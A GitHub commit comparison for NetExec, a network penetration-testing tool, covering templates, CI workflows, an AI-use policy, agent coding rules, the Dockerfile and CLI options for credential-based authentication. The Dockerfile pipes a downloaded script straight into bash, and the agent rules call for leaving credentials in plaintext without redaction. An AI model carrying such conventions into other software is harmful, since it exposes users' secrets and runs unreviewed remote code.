Compare commits

..
258 changed files with 10317 additions and 28867 deletions

No files matched your search

+2 -6
View File
@@ -7,10 +7,6 @@ assignees: ''
---
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
**Describe the bug**
A clear and concise description of what the bug is.
@@ -34,8 +30,8 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
**Additional context**
Add any other context about the problem here.
-8
View File
@@ -1,8 +0,0 @@
blank_issues_enabled: false
contact_links:
- name: NetExec Wiki
url: https://www.netexec.wiki/
about: Check the wiki for usage guides and documentation before opening an issue.
- name: NetExec Discord
url: https://discord.com/invite/pjwUTQzg8R
about: Join the Discord for general questions and community support.
-47
View File
@@ -1,47 +0,0 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
### AI Assistance
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
Note that if you have used AI, you:
- MUST test the changes against a live system
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
## Type of change
Insert an "x" inside the brackets for relevant items
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
- Is additional software needed?
- GPO changes required?
- Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate, include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
- [ ] I have performed a self-review of my own code (_not_ an AI review)
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
@@ -0,0 +1,44 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+8 -8
View File
@@ -9,29 +9,29 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
run: |
pip install pyinstaller pillow
pip install pyinstaller
pip install .
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-windows.exe
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+5 -5
View File
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11", "3.12", "3.13", "3.14"]
python-version: ["3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+15 -14
View File
@@ -3,27 +3,28 @@ name: Lint Python code with ruff
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
enable-cache: true
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
uses: actions/setup-python@v4
with:
python-version: 3.11
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
- name: Run ruff
run: |
uv run ruff --version
uv run ruff check . --preview
poetry run ruff --version
poetry run ruff check . --preview
-54
View File
@@ -1,54 +0,0 @@
name: PR Template Check
on:
pull_request_target:
types: [opened, edited]
permissions:
pull-requests: write
jobs:
check-template:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Check PR description for template sections
uses: actions/github-script@v7
with:
script: |
const body = context.payload.pull_request.body || '';
const requiredSections = [
'## Description',
'## Type of change',
'## Setup guide for the review',
'## Checklist'
];
const missingSections = requiredSections.filter(
section => !body.includes(section)
);
if (missingSections.length === 0) return;
// Check if we already left a comment to avoid spamming
const comments = await github.rest.issues.listComments({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number
});
const botComment = comments.data.find(
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
);
if (botComment) return;
const missing = missingSections.map(s => `- ${s}`).join('\n');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
});
+32 -20
View File
@@ -8,32 +8,44 @@ on:
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
if: github.event.review.state == 'APPROVED'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.11", "3.12", "3.13", "3.14"]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
enable-cache: true
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
-2
View File
@@ -64,5 +64,3 @@ docs/_build/
# PyBuilder
target/
nxc/.DS_Store
.DS_Store
-48
View File
@@ -1,48 +0,0 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec protocol structure
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
-78
View File
@@ -1,78 +0,0 @@
# AI Usage Policy
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
The NetExec project has strict rules for AI usage:
- **All AI usage in any form must be disclosed.** You must state
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
Codex 5.2, etc) along with the extent that the work was AI-assisted.
- **Pull requests created in any way by AI can only be for accepted issues.**
Drive-by pull requests that do not reference an accepted issue may be
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
the PR may be rejected and closed. If you want to share code for a
non-accepted issue, open a discussion or attach it to the existing issue.
- **Pull requests created by AI must have been fully verified with
human use.** AI must not create hypothetically correct code that
hasn't been tested. Importantly, you must not allow AI to write
code for platforms or environments you don't have access to manually
test on.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
other rules in this policy.
- **Bad AI drivers will be banned** You've been warned. We love to help junior
developers learn and grow, but if you're interested in that then don't use
AI, and we'll help you.
- **Official maintainers have the final say** We always strive to be helpful,
but there are limits. If you submit agregiously terrible AI generated code
with no review, we may ban you without word. We do not want to waste our
time reviewing slop if the contributor can't be bothered to review the work
themselves.
These rules apply only to outside contributions to NetExec. Maintainers
and trusted contributors are exempt from these rules and may use AI tools at
their discretion; they've proven themselves trustworthy to apply good judgment.
## There are Humans Here
Please remember that NetExec is maintained by humans.
Every discussion, issue, and pull request is read and reviewed by
humans (and sometimes machines, too). It is a boundary point at which
people interact with each other and the work done. It is rude and
disrespectful to approach this boundary with low-effort, unqualified
work, since it puts the burden of validation on the maintainers.
In a perfect world, AI would produce high-quality, accurate work
every time, but today that is simply not true. This is compounded by the fact
that accessibility to AI is high, allowing low skilled individuals to think
that they are contributing useful code. Even many skilled programmers do not
understand how to use it effectively. This has opened up a waterfall of low
quality contributions across the Open Source community, wasting resources.
## AI is Welcome Here, Within Reason
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
are open to leveraging this technology to improve NetExec; however, there are
many low quality AI tools whose use results in pure slop being generated. The
security communinity is not immune from AI psychosis, over-hype, or FOMO.
As with any new technology, it is important to understand how it works and how
to best use it, not blindly apply it to every use case with the hope that it
will fix all your issues.
We include this section to be transparent about the project's usage about
AI for people who may disagree with it.
+13 -36
View File
@@ -1,45 +1,22 @@
FROM python:3.13-slim-bookworm AS builder
FROM python:3.11-slim
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt update && \
apt install -y --no-install-recommends \
libffi-dev \
libxml2-dev \
libxslt-dev \
libssl-dev \
openssl \
autoconf \
g++ \
python3-dev \
curl \
git \
unzip \
&& apt clean && rm -rf /var/lib/apt/lists/*
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
RUN apt-get update && \
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
RUN apt-get update
# Get Rust
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
# Check cargo is visible
RUN cargo --help
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
&& pip install .
COPY . .
RUN pip install .
FROM python:3.13-slim-bookworm
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
RUN apt update && \
apt install -y --no-install-recommends \
openssl \
&& apt clean && rm -rf /var/lib/apt/lists/*
ENTRYPOINT ["nxc"]
ENTRYPOINT [ "nxc" ]
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+1 -1
View File
@@ -13,7 +13,7 @@ clean:
find . -name '.pytest_cache' -exec rm -rf {} +
tests:
ruff check .
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
requirements:
poetry export --without-hashes -f requirements.txt -o requirements.txt
+1 -9
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -43,11 +43,6 @@ sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
@@ -63,6 +58,3 @@ Awesome code contributors of NetExec:
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+4 -26
View File
@@ -19,26 +19,18 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dcerpc.v5.tsts',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'impacket.krb5.kpasswd',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
'nxc.protocols.smb.smbexec',
@@ -49,18 +41,13 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.dpapi',
'nxc.helpers.even6_parser',
'nxc.helpers.firefox',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'nxc.helpers.smb',
'nxc.helpers.ntlm_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -82,22 +69,13 @@ a = Analysis(
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'dploot.lib.network.mssql',
'dploot.lib.network.winrm',
'dsinternals.common.cryptography.X509Certificate2',
'dsinternals.common.data.DNWithBinary',
'dsinternals.common.data.hello.KeyCredential',
'dsinternals.system.DateTime',
'dsinternals.system.Guid',
'lxml.objectify',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+32 -36
View File
@@ -16,40 +16,35 @@ import importlib.metadata
def gen_cli_args():
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "Yippie-Ki-Yay"
CODENAME = "ItsAlwaysDNS"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
@@ -57,13 +52,13 @@ def gen_cli_args():
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
For documentation and usage examples, visit: https://www.netexec.wiki/
{highlight('Version', 'red')} : {highlight(VERSION)}
@@ -74,19 +69,21 @@ def gen_cli_args():
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules")
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
@@ -97,18 +94,17 @@ def gen_cli_args():
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -120,7 +116,7 @@ def gen_cli_args():
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser, always_complete_options=False)
argcomplete.autocomplete(parser)
args = parser.parse_args()
if len(sys.argv) == 1:
@@ -128,14 +124,14 @@ def gen_cli_args():
sys.exit(1)
if args.version:
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
